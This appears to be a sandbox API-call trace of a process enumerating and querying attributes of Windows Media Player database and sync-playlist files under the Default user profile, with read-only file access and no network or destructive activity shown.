	[0082.347] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8679d27, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1
	[0082.347] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1
	[0082.347] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
	[0082.347] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.347] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.348] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\CurrentDatabase_372.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\currentdatabase_372.wmdb"), fInfoLevelId=0x0, lpFileInformation=0x1268c6e8 | out: lpFileInformation=0x1268c6e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8679d27, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x105000)) returned 1
	[0082.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\localmls_3.wmdb"), fInfoLevelId=0x0, lpFileInformation=0x1268c738 | out: lpFileInformation=0x1268c738*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1106c)) returned 1
	[0082.349] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists"), fInfoLevelId=0x0, lpFileInformation=0x1268c788 | out: lpFileInformation=0x1268c788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.349] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.349] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.349] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.349] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0082.350] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.350] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x1268c828 | out: lpFileInformation=0x1268c828*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.350] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.350] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.350] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.350] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1
	[0082.350] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef7a8 | out: lpFindFileData=0x127ef7a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.350] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.350] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e"), fInfoLevelId=0x0, lpFileInformation=0x1268c8c8 | out: lpFileInformation=0x1268c8c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.350] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.351] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x127ef724 | out: lpFindFileData=0x127ef724*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="01_Music_auto_rated_at_5_stars.wpl", cAlternateFileName="01_MUS~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="02_Music_added_in_the_last_month.wpl", cAlternateFileName="02_MUS~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="03_Music_rated_at_4_or_5_stars.wpl", cAlternateFileName="03_MUS~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="04_Music_played_in_the_last_month.wpl", cAlternateFileName="04_MUS~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="05_Pictures_taken_in_the_last_month.wpl", cAlternateFileName="05_PIC~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311, dwReserved0=0x0, dwReserved1=0x0, cFileName="06_Pictures_rated_4_or_5_stars.wpl", cAlternateFileName="06_PIC~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_TV_recorded_in_the_last_week.wpl", cAlternateFileName="07_TV_~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="08_Video_rated_at_4_or_5_stars.wpl", cAlternateFileName="08_VID~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0x0, dwReserved1=0x0, cFileName="09_Music_played_the_most.wpl", cAlternateFileName="09_MUS~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x427, dwReserved0=0x0, dwReserved1=0x0, cFileName="10_All_Music.wpl", cAlternateFileName="10_ALL~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="11_All_Pictures.wpl", cAlternateFileName="11_ALL~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1
	[0082.352] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef744 | out: lpFindFileData=0x127ef744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.352] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.353] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\01_music_auto_rated_at_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268ccd8 | out: lpFileInformation=0x1268ccd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x414)) returned 1
	[0082.354] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268cd28 | out: lpFileInformation=0x1268cd28*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4ff)) returned 1
	[0082.354] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268cd78 | out: lpFileInformation=0x1268cd78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x4f3)) returned 1
	[0082.354] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268cdc8 | out: lpFileInformation=0x1268cdc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x504)) returned 1
	[0082.354] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268ce18 | out: lpFileInformation=0x1268ce18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x31d)) returned 1
	[0082.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268ce68 | out: lpFileInformation=0x1268ce68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x311)) returned 1
	[0082.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268ceb8 | out: lpFileInformation=0x1268ceb8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66402e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1
	[0082.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), fInfoLevelId=0x0, lpFileInformation=0x1268cf08 | out: lpFileInformation=0x1268cf08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6666440, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3fc)) returned 1
